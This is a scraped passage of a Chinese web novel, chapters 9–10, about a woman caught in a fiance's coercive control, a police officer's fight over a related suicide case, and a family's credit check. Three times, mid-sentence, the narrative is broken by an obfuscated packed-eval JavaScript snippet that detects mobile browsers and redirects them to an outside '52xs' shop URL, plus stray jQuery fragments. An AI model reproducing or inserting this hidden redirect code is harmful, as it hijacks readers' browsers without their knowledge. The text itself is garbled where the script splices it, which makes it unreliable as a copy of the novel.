d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14582103|155160||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 共情,他的心和他们的心一起浸泡在泪水之中。 真实的警员生活,没有电视上的惊心动魄和热血沸腾,更多的是各式各样的苦难和无奈。 他即便四分五裂,碎成千万片,他的光明,也不够分给悲苦的众人。 “我能做什么……来帮助他们吗?”张开阳一开口,发现自己哽咽了。他咽下波动的情绪,强拉出一个难看的笑容。 “让他们寻求专业心理医生的帮助。” 陈教授认真地看着他的双眼: “精神创伤是传染性的,就连专业的治疗师都可能受创伤性反向移情作用而出现应激障碍,更何况是没有受过专业培训的普通人?” “没有人能够拯救他人,永远不要抱着这样的念头。就算是心理治疗师,也只是在帮助患者自救。” “记住我的话,”陈教授郑重说,“你唯一能拯救的,只有你自己。” …… 季琪琨接过魏芷手中的行李箱,拉着它进了家门。 “大门密码是画廊开业的时间,卧室的密码是我们在一起的时间。家里的东西都是单人份,你看看还缺什么,趁还有外卖,买了叫人送来。” 他将行李箱推至墙边,打开鞋柜拿出一双鞋套递给魏芷。 “记得买双你喜欢的拖鞋。”他笑道。 “……谢谢。” 魏芷低头穿上鞋套,声音还带着未平息的僵硬。 “你搬来和我一起住,挺好的。我早就邀请过你,可惜你没有同意。现在好了,以后我们每天都可以一起醒来。”季琪琨说。 “我怕给你添麻烦。”魏芷低声说。 “怕麻烦的话,还会和你结婚吗?” “……也是。”魏芷忍不住笑了。 即便季琪琨还不知道他们家所欠负债,光表面上能看出的问题,也已经离寻常人家十万八千里远了。 “你终于笑了。” 两根手指按在她上扬的嘴角上,稍稍用力,将其提得更高。 季琪琨望着她笑了。 “手机拿来。” 魏芷稍一迟疑,季琪琨已经从她包中拿出手机。他打开通讯簿,利落地删掉了魏杉、魏来和王琳的电话号码。 接着他打开微信和□□两个通讯软件,要她也删除那上面的家人联系方式。 “哪个是你爸妈和弟弟?”他态度温和却又不容置疑地问道。 在那种不允许也不应该提出任何质疑的氛围下,魏芷删掉了家人的所有联系方式。 再加上之前删掉的同事朋友的联系方式,她的手机通讯簿里,只剩下季琪琨一人。 “没事的。”季琪琨轻声说着,温暖的大手轻抚上她的脸颊,他缓缓抬起她的下巴,直视着她的眼睛,“你还有我啊。你还记得么,我才是你真正的家人,我永远也不会伤害你。” 多么甜蜜的话语,让魏芷的内心也不禁颤动。 她强忍多时的泪水,终于夺眶而出。 哪怕她知道这一切都建立在欺骗之上,也不禁在他的怀抱中流泪满面。 9.第 9 章 魏芷趁着这温情的一刻,抬起泪眼朦胧的眼睛,祈求地望着季琪琨。 “我们能把婚期提前吗?” 季琪琨并没有太大的反应,甚至没有露出惊讶。 “为什么?”他问。 “我想和你尽快成为真正的家人。” 季琪琨看着她的眼睛,片刻后,微笑着抚去她眼角的泪水。 “好。” 得到季琪琨确切的回答,魏芷心中松了口气。她继续小鸟依人地抱着季琪琨,直到他主动松开双臂,她适时地站直身体,用手指擦拭着脸上的泪水。 季琪琨从餐桌上拿回几张纸巾,亲手擦掉了她脸上残余的泪水。 “你太善良了。” 魏芷抬头看着他,泪水未干的眼眸仿佛最纯良的母鹿。 “我……善良?” “因为善良,所以才没狠得下心拒绝家人。”他轻声说道,“我早就看出你的家人只是在利用你,只不过我的身份不好开口说什么。也是我傻,因为这种顾虑才会让你被他们伤害。” 季琪琨一边擦拭她的泪水,一边温柔说道: “以后我会保护你,你只需要依赖我就好了。” 冰凉的月光从宽阔巨大的落地窗外洒进,他的面庞也披上一层山泉般清澈的光辉。月光在他的鼻梁上起舞。他低沉的嗓音好似魅惑的咒语,让魏芷有一种只要将人生交给他,一切就会迎刃而解的感觉。 “……好。”她忍不住轻轻点头。 他看着她的眼睛,片刻后,笑道: “这个周末,我们就去大伯父那里商量提前婚期。” 第二天,魏芷在眼睛上扑了比以往更重的眼影来遮掩哭肿的双眼。财务办公室里,她知道起码同为女人的小蔡和库存会计看出了她昨晚哭过,晚些时候说不定又会在洗手间里议论她的是非,但她并不在乎。 在工位上坐下没多久,办公室的座机电话响了。小蔡接了之后,略出诧异的表情,然后将电话递给了魏芷。 “保安,找你的。” 魏芷怀着疑惑接过电话后,很快有了答案——王琳来了,就在画廊门口。 她快步走出画廊大门,一眼看见站在街边,眼神不安的王琳。她局促地握着自己的双手,身上穿的是与这条充满小资情调的商业街格格不入的花色上衣和宽松的七分裤。这一身衣服魏芷第一次领工资那年,带她在商场里买的。虽然是商场,但也是折扣柜台,上衣和裤子加起来才两百多块钱。王琳却十分珍惜,看店的时候从来不穿。 魏芷渐渐停下脚步,一种因悲伤和痛苦引发的愤怒涌上心头。 王琳见到她从画廊出来,眼神一亮,迈着小碎步走完了两人之间剩下的路。 “小芷,妈不是故意找别人给你打电话的,因为你不接我的电话,所以我才……” “你来干什么?”魏芷打断她的解释。 “你……你昨晚在哪儿睡的?”她小心翼翼地问道,“妈没有别的意思,只是担心你的安全……” “我在季琪琨家里睡的。”魏芷不去看她,强迫自己冷着声音,“我还在工作,你有什么事快说。” 她本来以为,王琳会问她欠下那么多钱的原因,或者那些药的事情。魏芷看出了她很想问,那些困惑都已经挤在了喉咙头,但王琳被催促后,抓紧时间说出的却是别的话。 “好,好,马上……妈是想把这个给你。” 王琳从腰包里掏出薄薄的一个布包,展开后是十张百元纸钞。 “这是什么?” “这个你拿着,你在外生活要花钱,别饿着自己……”王琳顿了顿,又从腰包中拿出一包用黑色塑料袋裹起来的药,迟疑地握在手中,“你弟弟帮我查了这些药的作用……小芷,你……你真的得了抑郁症吗?是因为那些贷款,还是因为家里的原因?” “……你现在是在做什么?” “什么?” “你这副虚伪的样子,做给谁看?” 王琳愣住了。 魏芷无法控制自己的情绪,那些恶毒的字眼一个接一个地往外蹦。 “你真的心疼过我吗?你真的在乎我是因为什么抑郁吗?” “你只是想要维护你生活的平静。你只是想要让我和你一样,做个接受命运的傀儡,做个麻木的行尸走肉,乖乖地被那两父子吸血——” “不是的!”王琳慌张否认。 “那你离婚啊。”魏芷说,“你能为了我离婚吗?” 王琳望着她,哑口无言。 她曾无数次问过王琳这个问题。但每一次,她都左言他顾,搪塞敷衍。就像魏芷被她的爱意困住一样,她也被什么困住了。 “每个月我会把你的药送回小卖部,除此以外,不要和我有任何联系,我不想看见你,也不想听见你的声音。”魏芷说,“那两个人也是一样。” 她夺过王琳手中的黑色塑料袋,转身往画廊走去。 “小芷——”王琳慌乱的声音。 她头也不回。 …… “恐怖事件发生时,人们会不由自主地向最初安全感的来源寻求安慰和保护……一旦这样的哭喊没有得到响应,基本的信赖感开始破灭。受创者感到被完全放弃、全然的孤独,和被逐出那赖以生存的系统之外。此后,疏离和隔绝的感觉扩散至每一种关系,从最亲密的家人到最抽象的社群与宗教交友。一旦信赖感丧失,受创者觉得与其说他们还活着,其实更像是死了。” 那天离开讲座的时候,陈教授向想要更深入了解心理创伤的张开阳推荐了一本书。 《创伤与复原》,他在书店里抚摸着这本书冰冷的书脊,将它抽出来带回了家。 自那以后,他每天工作之余,都会抽出时间来阅读。 他的人生一帆风顺,对另一种可能下的生活一无所知。他想要了解那些深陷在光明背后的人的心理,好找到一件两件他能够为他们所做的事情。 他依然记得陈教授的忠告,“没有人能够拯救他人”,但他做不到袖手旁观。 他是人民的警察啊,他走上这条路,原本就是想要拯救他人。 受过创伤的人如此普遍,以至于许多人终其一生都不能发现自己陷在PTSD中,只是一遍遍地说服自己一切退让都是因为“爱”。他忽然理解了之前见过的那些受到虐待却依然不肯离开的的原因。 “爱”这个字,让张开阳感到前所未有的沉重。 “又在研究心理学啊,你是想转行吗?”拿着保温杯的老吴经过,停下脚步靠在张开阳的桌前打趣道。茶香和热气从他手中的保温杯里冉冉升起。 张开阳连忙放下书籍,起身回应:“当然不是了,我就是随便看看。” “随便看看……”老吴合上保温杯盖,神色复杂地打量着他,“你在我们所都有‘情感专家’的称号了,他们一遇到情感纠纷,就让你去帮忙调解。你怎么想的?” “……什么怎么想?”张开阳一愣,没明白老吴的深意。 老吴叹了口气,说:“你就愿意一辈子和情感纠纷打交道?你在警校的成绩名列前茅,不想跟一点大案子?” 终于明白了老吴的言下之意,张开阳笑了起来,一口整洁的牙齿在晒成小麦色的皮肤衬托下更加白净。 “我还好,什么案子都得有人接。只要能帮助人,我就觉得开心了。” “真是个傻子,就你天天跟这些鸡毛蒜皮的事情打交道还笑得出来。”老吴嘟囔道,摇了摇头,拿着保温杯转身走了。 “等等,师父!”张开阳追了出去,“翁秀越的诉讼有新进展吗?离规定的判决时间越来越近了。” “你问我做什么?你不是私底下在和翁秀越联系吗?你该更清楚啊。”老吴没好气地说,显然不满他公私不分,脱下警服还帮翁秀越到处走访。 “你都知道啦?对不起,师父……但我绝对没有滥用职权,我也是想能帮一点是一点……”张开阳不好意思地摸着后脑勺。 老吴从两个鼻孔里做作地哼了一声,眼神里却没有真的生气。 “就跟我之前跟你说的一样,估计要败诉了。”老吴说完,又赶紧补了一句,“这是我找法院熟人打听的消息,你可别转头告诉翁秀越。” 张开阳的笑容在脸上淡去。 “别白费力气了,把心思花在已经立案的案子上吧。” 老吴同情地拍了拍他的肩,正要离去,张开阳再次叫住了他。 第二天,张开阳和同事换班,提前休假。他向老吴软磨硬泡了一番,又是答应请吃饭又是答应送好茶,才让老吴答应从中牵线,让负责翁秀越诉讼案子的审判长和他见上一面。 下午两点,张开阳怀着紧张的心情迈进法院庄严的大门。 等了大概半个小时,他终于见到结束庭审的审判长。那是一个大约五十来岁的瘦削男人,中等身高,大约是刚从法庭下来的缘故,脸上仍带着沉稳和严肃的表情。 先简短地寒暄几句后,审判长亲自给张开阳倒了一杯茶。 张开阳局促地起身,双手接过。 审判长坐回对面的黑色沙发,推了推鼻梁上的眼睛,开门见山地说道: “我和老吴认识许多年了,他说他是头一次见到你这样的人。实不相瞒,其实我也是头回见到你这样的小青年。我知道你这回来的目的,但我想问,为什么?” “……什么为什么?”正想按照提前准备的说辞进入正题的张开阳一愣。 “老吴说,梅满跳楼已经按自杀结案,这件事已经跟你们派出所,更跟你个人无关了。但我听说,你不仅用私下的时间帮忙走访,甚至还找到了我这里——我想问,你为什么要这么做?这件案子,跟你有什么私人的关系吗?” 这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14597648|155160||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个问题,不仅是审判长心中的疑问,更是老吴,甚至所里许多人的疑问。 张开阳知道自己的行为,在很多人看来都是不可思议的。 不能跟大案,也就立不了大功。“情感专家”一辈子只能是“情感专家”,不能成为所长局长,这些张开阳都是知道的。 但他确实觉得无所谓。 天真吗?或许是吧。傻吗?或许也傻。 但他觉得,世上既然有泯灭人性的坏人,也就该有他这种一心利他的傻子。 “因为我心中有愧。”张开阳说。 “哦?为什么有愧?”审判长身体前倾,露出了感兴趣的表情。 “因为每个人都知道,梅满的跳楼自杀,与季琪琨有脱不开的关系。我们都知道这一点,但依然对他束手无策。”张开阳说,“我是一名警察,却只能眼睁睁看着杀人凶手走出派出所大门。” 审判长意味深长:“季琪琨没有杀人,这是你们派出所的结论。” 张开阳拿出了随身放在背包里,早就准备好要送出去的那本书,从茶几上郑重地推给对面的审判长。 “精神控制,这个词在国内并不常见,但它有一个更寻常的称呼,‘PUA’。季琪琨对梅满长期的精神控制,使她在跳楼当时,极有可能处于一种‘无法反抗的创伤状态’。我认为这已经属于虐待罪的范畴,所以当时也是我建议翁秀越以虐待罪的名义起诉季琪琨。” “我听师父说,这件案子可能会以翁秀越的败诉而告终。所以我才来到这里,我强烈希望审判长能看一看这本书,这本书的作者是美国顶级心理创伤专家,也许您看了之后会有不一样的想法……”张开阳恳求着,将那本书再次往审判长方向推了过去。 审判长长舒一口气,近似无奈的叹息。 他接过了那本已经被反复翻阅,书页卷曲的书,说:“我会看的,只不过,你还是别抱太大希望。” “首先精神虐待不像身体上的虐待一目了然,精神虐待难以界定,没有可供参考的前例。其次,目前的中国法律,虐待罪仅限于共同生活的家庭成员。” “梅满和季琪琨只是情侣关系,并不构成虐待罪,而故意伤害罪则需要证明行为人的行为直接导致了被害人身体上的轻伤以上的伤害,这在本案中难以证明。这一点,你们派出所比我们法院更清楚。” “可是——”张开阳忍不住说,“翁秀越提供的许多证据都能证明季琪琨对梅满存在长期虐待——” “梅满是一个智商正常的成年人。”审判长说,“她既没有被限制自由,也没有被暴力威迫。她应该清楚自己选择的后果。” 审判长沉着而坚决的话语,让最终的审判结果昭然若揭。 张开阳颓然愣在原地,心不住往下沉去。 大概是看他脸上的颓败过于明显,连审判长的脸上也露出了同情。那个一直有着严肃表情的男人放下了公事公办的语气,以一种前辈的温和态度,缓缓对他说道: “我刚参加工作时,也和你一样,是个完全的理想主义。总是恨不得将天下的坏人一网打尽,让每个犯罪者都得到他应有的惩罚。但法律,不是远古时期你手中的矛,你想刺谁就刺谁。” “法律就像一张原本千疮百孔的网,由一代又一代的人改进成布。但布料再密,也会有孔洞的存在。随着时代的进步,观念的改变,像季琪琨这样钻洞的人的出现,这张布会越来越密,越来越密,直到天衣无缝。但这一切,都需要漫长的时间。” “只要允许一次例外,就会出现更多的例外,进而还会有例外的例外,你该如何判断何时例外何时不例外?于是这张布最后又会回到千疮百孔的样子。因为原则一旦更改,后续将永无止境。” 张开阳从喉中挤出干涩的声音。 “那么……从洞中钻出去逍遥法外的罪犯,我们就不管吗?” 他期望着听到一个可以让他心中深深负罪感烟消云散的解释。 但审判长只是垂下长满皱纹的眼眸,遮住了疲惫和哀伤的眼神。 “法律没有最优解,也并不完美。我很遗憾,但不得不承认,推动法治前进的,正是这些个案的发生。” 张开阳说不出话来。 他的理智能够接受这样的回答,甚至,他的理智赞同审判长的谨慎。 但他的情感,却沉入冰冷的潭水之中。 那简单的“个案”二字,是一个人甚至一个家庭的短短一生啊。 为了更伟大的法治前进,他们就只能牺牲自己的血肉之躯吗? 两人谁都没有再开口说话,连茶杯中升起的热气也逐渐不见了。 窗外的天际线在灰蒙蒙的午后显得格外沉重。高楼大厦像是沉默的巨人,矗立在这片压抑之下,稀薄的阳光勉强穿透厚重的云层,却难以照亮这被阴影笼罩的世界。 张开阳陷入了迷茫。 10.第 10 章 “魏芷,保安的电话,说又有人找你。”小蔡不耐烦地将听筒放在四个隔间工位上的横梁上。 对面的库存会计朝她投来八卦的眼神,就连玻璃门内的财务经理也悄悄抬起了头。 魏芷接起电话,声音比平时更低沉:“喂?” 她的第一反应是魏家又有人因为联系不上她,亲自上门来找。 但比那更加糟糕。 “好,我马上来。” 她挂断电话,故作镇定地走出办公室,脚步在离开同事视线范围的一瞬间加快了。魏芷一路快走,来到画廊大门外。几个穿着廉价白衬衣和黑西裤,衬衫短袖下却有大面积纹身的男人被画廊保安拦在石墩子外,看见魏芷出门,立即想要走来,却再一次被身形高大的保安拦下。 为首那名男人紧皱眉头看了眼比他高一个头不止的谭孟彦,愤愤地偏头往地上唾了一口。 “魏芷是吧?知道我们为什么来吧?”他一脚踩在石墩子上,面露凶气,“我们是平台委托的第三方催收公司,你最近怎么不接电话?是不打算还款了吗?” 尽管周围没有更多的人,魏芷还是不由地感到心被抓紧了。季琪琨就在画廊二楼办公室,他们在这里每多待一秒,她就多一分暴露的风险。 魏芷的余光注意到谭孟彦沉默地走开了,只留下一个宽阔的背影。 “还款日期还没到,你们到这里是做什么?”她冷声问。 男人从兜里摸出一包烟,抽了一根出来点燃,吊儿郎当地叼在嘴里,眯着眼看着魏芷。 “我说了啊,你不接电话是个什么意思?平台很担心啊。” “我会按时还款的,但如果你们继续在我工作的地方闹事,让我丢了工作,即便我想还,也还不上了。这对你们的工作也无益吧?” “闹事?我们好好地站在这里,哪里闹事了?” 男人朝身后的同伙嘻嘻哈哈了一下,然后伸手向魏芷肩头摸来。 “妹妹,你说话很不客气啊,你可别忘了,你才是欠钱的那方啊——啊啊啊!” 男人惨叫起来,伸出的右手折成一个古怪的角度。 不知何时出现在魏芷身前的谭孟彦牢牢捏住男人的手,将那双因疼痛而蜷成小鸡爪的手用力甩开。 “不要在我们公司闹事。”他低沉的嗓音带着不容置疑的威慑。 虽然魏芷看不见他脸上的表情,但她看到了那些催收人员眼中的畏惧。 为首的男人后退了两大步,踉跄的步伐撞开了他的同伴。他衡量了一下把事情闹大的后果,外强中干地朝谭孟彦身后的魏芷一瞪眼,恶狠狠道: “你要是敢逾期不还,我们就找你的家人同事帮你还!走!” 眼看着催收人员悻悻离去后,魏芷才对依然挡在面前的谭孟彦说:“……谢谢你,不好意思给你添麻烦了。” 谭孟彦转过身来,棱角分明的面孔上没有一丝表情。他垂眼看着比他矮上许多的魏芷,冷冷道:“没什么。” “刚刚这些人来找我的事……你汇报给季总了吗?” “需要汇报吗?”他依然面无表情。 魏芷笑了起来:“能帮我保密吗?” “我没那么多事。” 谭孟彦压下深蓝色的保安帽檐,转身离开了。 催收人员来过之后的一整天,魏芷都有些提心吊胆,但好在一切如常,季琪琨并未发现早上发生在画廊门口的小插曲。 时间,很快来到周日。 季琪琨带着魏芷登门拜访季家的主事人,季钟永。季钟永并不满意季琪琨挑选的结婚对象,魏芷在前几次见面中已经敏锐地察觉到了,但这次为了提前婚期,她必须再次取得季钟永的认可。 季钟永住在江都市东边的一处半山坡上,那里有江都最大也是最贵的别墅群。 添越停进自家车库后,季琪琨带着她走进了佣人先一步打开的大门。 一楼只有迎接的几个佣人,他们的室内拖鞋已经摆放整齐,魏芷刚一脱下皮鞋,就有佣人连忙收走。 跟着螺旋状的红木楼梯走上二楼后,最先映入眼帘的就是敞开着门的看护房,一个瘦弱的人影躺在床上,身穿花色真丝上衣的女人握着床上的手,背对门而坐。两只重叠在一起的手,都是苍白的。 “你去陪陪伯妈,我去书房找伯父。”季琪琨停下脚步,拍了拍魏芷的肩,然后独自走向前方的书房。 如果说季钟永还考虑到季琪琨的心情,在表面上维持了对魏芷的礼貌,那么他的妻子习蔓菁,就是连装都懒得装了。 她不喜欢季琪琨,当然也不喜欢季琪琨带回来的女人。 季琪琨之前安慰她时,说过:“和你没关系,伯妈一直都不喜欢我,她总觉得我抢了哥哥的位置。” 魏芷走到看护房门前,在门扉上轻轻敲了几下。 “伯母,我是魏芷。我来看看季腾。” 习蔓菁视若未闻,握着季腾的手,一字不发。 魏芷早已习惯这种待遇,她走进看护房,将提前准备好的鲜花放在了床头柜上。洁白无瑕的看护房里因为这束鲜花,多了丝窗外的清新气息。 习蔓菁不搭理她,已经躺了十四年的季腾当然也没法搭理她。说是“陪陪伯母”,但魏芷能做的也不过是坐在床边发呆,如果运气好碰上每两个小时需要翻身一次的机会,她才能帮着护士起身活动活动。 季腾比季琪琨大上两岁,是季钟永唯一的亲生孩子。他本来含着金汤匙出生,如今却只能毫无知觉地躺在病床上,一切都劳烦他人动手。 全面萎缩的肌肉让他看上去瘦骨嶙峋,面容也比季琪琨苍老得多。在他最灿烂的年华,他都是躺在这张病床上度过。 他连悲伤都无法感受,这或许是他唯二的幸运。另一幸运,就是哪怕他余生都不能醒来,他的父母也有足够的实力照料他的一生。 在季腾之前,魏芷从没接触过植物人。她以为照料一个植物人,就是照顾他的一日三餐,大小排便。但实际上,季腾二十四小时不能离人,看护房里的护士随时待命,每两个小时就要给他翻身一次,光流食喂养,一天也有五六次。更别提随时可能的咳痰,都需要人及时清理。 如果季腾生在一个普通的三口之家,他的家庭能够支撑如此重担吗? 不过,如果他真的出生在普通的三口之家,说不定也不会变成现在这样了。 命运无法捉摸,悲剧随时都可能降临。正因为如此,魏芷才更要抓紧她能够抓紧的一切机会。 魏芷正和习蔓菁一起对着季腾发呆的时候,谢天谢地,季琪琨从书房回来了。 “伯母,我带小芷去我从前的房间看看。” 习蔓菁头也不回,但终于有了反应。 她嘴唇未张,仅从喉咙里发出冷淡含糊的一声。 季琪琨朝她笑着招手,她松了口气,朝习蔓菁问候了一句,起身走出了看护房。 孩子们的房间在三楼,这回两人没有走楼梯,直接乘电梯上了三楼。季腾的房间早已上锁,只剩下季琪琨的房间,门把一拧就开了。 虽然季琪琨已经搬出去很久,但看得出来这里一直有在打扫,桌面和床上一尘不染。 魏芷在床上坐下,好奇地打量着房间里的装饰和摆设,目光在一张三人合影上停留了片刻。 “伯母脾气不好,没给你气受吧?”季琪琨在她身边坐下。 “不至于,伯母只是不爱说话。” “那就好。”他说,“自从季腾出事以后,伯母的精神就一直不太好,如果有冒犯你的地方,也只能委屈你多忍忍。” 魏芷乖顺应答后,他笑了笑:“我去给你倒杯水。” 季琪琨离开后,房间里只剩下魏芷一人。她起身走向书桌,拿起了角落里的那张相框。 中间的那个小孩一看就是季琪琨几岁时的样子,两旁的男女应该是他的父母,三人手牵着牵手在动物园的虎笼前留下合影。 相片是插在相框中的,魏芷忍不住抽了出来。她把照片翻到背面,发现背面有一行黑色的小字。 “季谦蔚于1991年,江都动物园。” 走廊里响起由远至近的脚步声,魏芷连忙将照片插回相框,重新放回桌上后,门在她身后猛地开了。 “你回来了。”魏芷故作镇定地转身,看向季琪琨。 季琪琨手中端着一杯清水,目光在她身后的相框上扫过,笑着走了进来。 “你在看什么?” “我在看你书架上的书,想不到你竟然还会对法律感兴趣。”魏芷神色寻常地拿起从书架上抽出的书。 “我爸出事之后我才看的,当时天真地想要做律师把我爸救出来……这种天真,你小时候应该也有吧?”季琪琨将水杯递给魏芷。 “的确。”魏芷接过水杯,“……谁都有这样的时候。” “提前婚期的事情,我刚刚已经和伯父提了提,我看他的样子并不反对。” “他没有明确答复吗?” “他说吃了饭有话要对我们说,应该是准备那个时候再答复吧。” 季琪琨神色如常,魏芷心里却打起了鼓。究竟什么事现在不能说,要等到大家吃完饭了再说?这种闸刀悬在头顶却一时半会落不下来的感觉,是最折磨人的。 以季钟永之前对她不冷不热的态度,魏芷很难想象那是闸刀以外的东西。 没过一会,佣人恭敬地敲响了房门,提醒晚餐已经准备好了。 季琪琨和她乘电梯回到一楼,又过了一会,季钟永和习蔓菁才姗姗来迟。两夫妻都是没什么表情的人,至少在魏芷面前如此。她只能自说自话地问候了一番。 出人意料地是,季钟永这次对她微笑了。 “小芷,坐吧。” 季钟永和大多数肥肚秃顶的成功男人不同,魏芷没见他在家中喝过酒,听说在应酬桌上,也是点到即止。或许如此,他虽然不像季琪琨那样拥有线条流畅的薄肌,但他身形清瘦,端正的五官也没有因烟酒的浸泡而变得凶神恶煞。 季琪琨说,伯父一年三百六十五天,每天都坚持去公司处理事务。 他应该是一个非常有自制力,对自我有严格要求的男人。 季家的餐桌永远是安静的,和总是飘扬着不切实际幻想和抖音热门配乐的魏家餐桌不同。魏芷第一次来的时候,还因为搞不清楚面前为什么要放两双筷子而闹出笑话。 季家虽然在江都市小有名气,但真正在本省崭露头角,却是在2005年之后。那一年,季家在本市最大的竞争对手高家因内斗四分五裂,时任家主的季钟永趁虚而入,穷追猛打。如今的江都市,已经是季家一家独大。 虽然比不上香港豪门,但季家也是本省鼎鼎有名的大户,魏芷最担心的,就是季钟永私下查出什么,无论是她父母的负债,还是她的负债。每一个都是巨雷。 虽说查征信需要本人前往或者签字委托,但有钱能使鬼推磨,这对季钟永来说想必不是难题。 她揣测着饭后季钟永会对她说什么,连饭菜的味道都吃不出来了。 终于,沉默的一顿饭结束。季钟永从餐桌前站了起来,对同样放下筷子的季琪琨和魏芷说:“你们两个,到书房来。我有话要对你们说。” 习蔓菁像是什么都没听到似的,游魂一般独自走上楼梯,应该是又回看护房去了。 怀着忐忑的心情,魏芷跟着两个季家人走入电梯。 三人站稳后,季钟永在按板上按下二楼,玻璃门缓缓关闭。魏芷看见餐厅里几个佣人正在有条不紊地收拾他们饭后的残局。 随着电梯缓缓上升,她们的身影也消失不见了。 “你们为什么突然想要提前婚期?”季钟永忽然问道。 季琪琨不慌不忙,笑着回道:“我和小芷都等不及成为对方真正的家人了。新的婚期我也找大师看过了,是个吉日。” 季钟永并未回话。二楼到了,他率先迈出了打开的玻璃门。 宽阔的书房里有一扇横窗,玻璃外是绿意盎然的树景,一只不知名的灰色鸟雀在树枝上雀跃。夏风吹过,青翠的树叶纷纷摇曳。 绿色的茶叶在热水中渐渐舒展了蜷缩的身体,缕缕清香随着热气的腾发逐渐扩散在空气中。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14597649|155160||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 即便没有喝茶的心情,魏芷还是端起茶杯喝了一口。 “这是今年的碧螺春吧?真是好茶。”她赞叹道。 “人到中年,也没有别的什么兴趣。喝茶,算是为数不多的消遣。”季钟永笑道,“以前琪琨还小的时候,为了我专门去学习怎么泡茶。你还记得这回事么?” “当然。”季琪琨面上也露出了笑意,“我还记得第一次泡的茶太涩,但伯父还是全给喝光了。” “一晃眼你都要娶妻生子了。”季钟永感慨道,“我也老了。” “您可一点都看不出老。”魏芷终于找到插话机会,打趣道。 “心已经老啦。”季钟永摆了摆手,“我叫你们过来,就是想开诚布公地谈一次。” 季钟永的目光落在了魏芷的脸上。 “实不相瞒,前些日子我请人去调查了你家的背景。” 魏芷听到了闸刀落下的风声。 季钟永起身走到书桌前,从抽屉里取出一个厚厚的牛皮纸袋。 他走了回来,抽出纸袋里的一沓文件放到魏芷面前。 “这是一个做长辈的苦心,希望你能够理解。” 最上一张有着征信中心的标志,加粗标题“个人信用报告”几个字,让魏芷的身体因为紧张和恐惧而变得麻木。 她竭力维持着面上的平静,握在一起的手心却早已渗出了冷汗。身旁的季琪琨似乎察觉了什么,眼神转向了她。 她必须要保持冷静。 “琪琨是您看着长大的,您有这种心情,我当然理解。” 季钟永点了点头,在她对面坐下,继续说道: “季琪琨虽然是我弟弟的孩子,但自他来到我家后,我一直将他看作亲生儿子。季腾出事后,我也决定让琪琨来继承我的事业,因而,我总是劝诫他在选择妻子一事上要格外严肃。” “在我爷爷那一代,我们只是再普通不过的贫苦农民,虽然现在家族有了些成绩,但我始终认为我们还是普通人。我从没想过要牺牲自己的孩子去联姻,也用不着门当户对。我只有一个要求,那就是家世清白,为人正直。” 魏芷等待着她最害怕的话从季钟永口中说出。但他没有。 “我之前对你有些不满,也是因为听琪琨说,你家中父母的感情不太和睦。也许是我太老派了吧,总觉得父母的相处模式也会影响下一代。” “不过,只要琪琨喜欢,我这个老头子也没什么好挑剔的。你们家里虽然复杂了点,但还好也是个本分人家。” 季钟永向后靠在皮质的黑色沙发上,平静道:“结婚是你们自己的事,大办还是小办,什么时候办。你们自己决定吧。” 季琪琨笑了,握住了魏芷放在膝上的手。 “谢谢伯父。” “小芷啊,我还有些话想要交代琪琨。”季钟永说。 魏芷识趣地站了起来:“那我去看看伯母需不需帮忙。啊——这个我能带走吗?”她笑道,“我也想看看上面写了些什么呢。” 季钟永轻易答应了。 魏芷拿着文件和牛皮纸袋走出了书房,轻轻关上了房门。 二楼走廊里空无一人,习蔓菁和护士在看护房暂时没有外出的迹象。魏芷停在书房门口,将耳朵贴向房门。 “……你老实告诉我,你是真的因为喜欢,才想和魏芷结婚吗?” “伯父,我怎么会拿自己的婚姻开玩笑?” “不是因为我说,只有你结婚彻底定下来了,我才会答应你进公司接手业务?” 门内传来了季琪琨的笑声,那特有的低沉、缓慢,充斥着游刃有余的哂笑。 “……如果我说不受这个影响,伯父也不会信的。就像伯父说的那样,我的确该结婚定下来了。魏芷,是我选中的人。她的背景是很差,但她听话,聪明,只有我可以依赖。我认为这就够了。” 季钟永的声音变得异常低沉,魏芷也只听见了断断续续的句子。 “不会再有……那种事发生了吧?如果你进入公司之后,再……媒体不会放过你的,就算只是捕风捉影,也会让公司的股价……而且,也跟从前……不一样了。” “我明白的,伯父。” 魏芷担心他们随时可能结束谈话,悄然无声地离开了书房。 看护房里,习蔓菁依然对着病床上的季腾沉默不语。魏芷也无视她的存在,从牛皮纸袋里拿出她家的资料逐一看了起来。 魏杉和王琳的征信已经因为乱七八糟的网贷逾期而坏掉了,魏来虽然没说过,但魏芷猜测他也在暗中借网贷来维持大手大脚的生活开销。至于她,虽然至今没有逾期过,但征信上一定留下了记录。 然而,她手中的四份征信报告显示,四人都没有贷款记录。 就连银行流水,也是中规中矩,没有任何还款记录。 头上的闸刀不见了,但似乎有比那更阴冷的寒风笼罩了魏芷。 看护房内一片死寂,白得刺眼的墙壁与天花板仿佛在吞噬着仅存的温暖。中央空调持续不断吹出的寒气如同无形的幽灵,悄然游荡于每一寸空间之中。 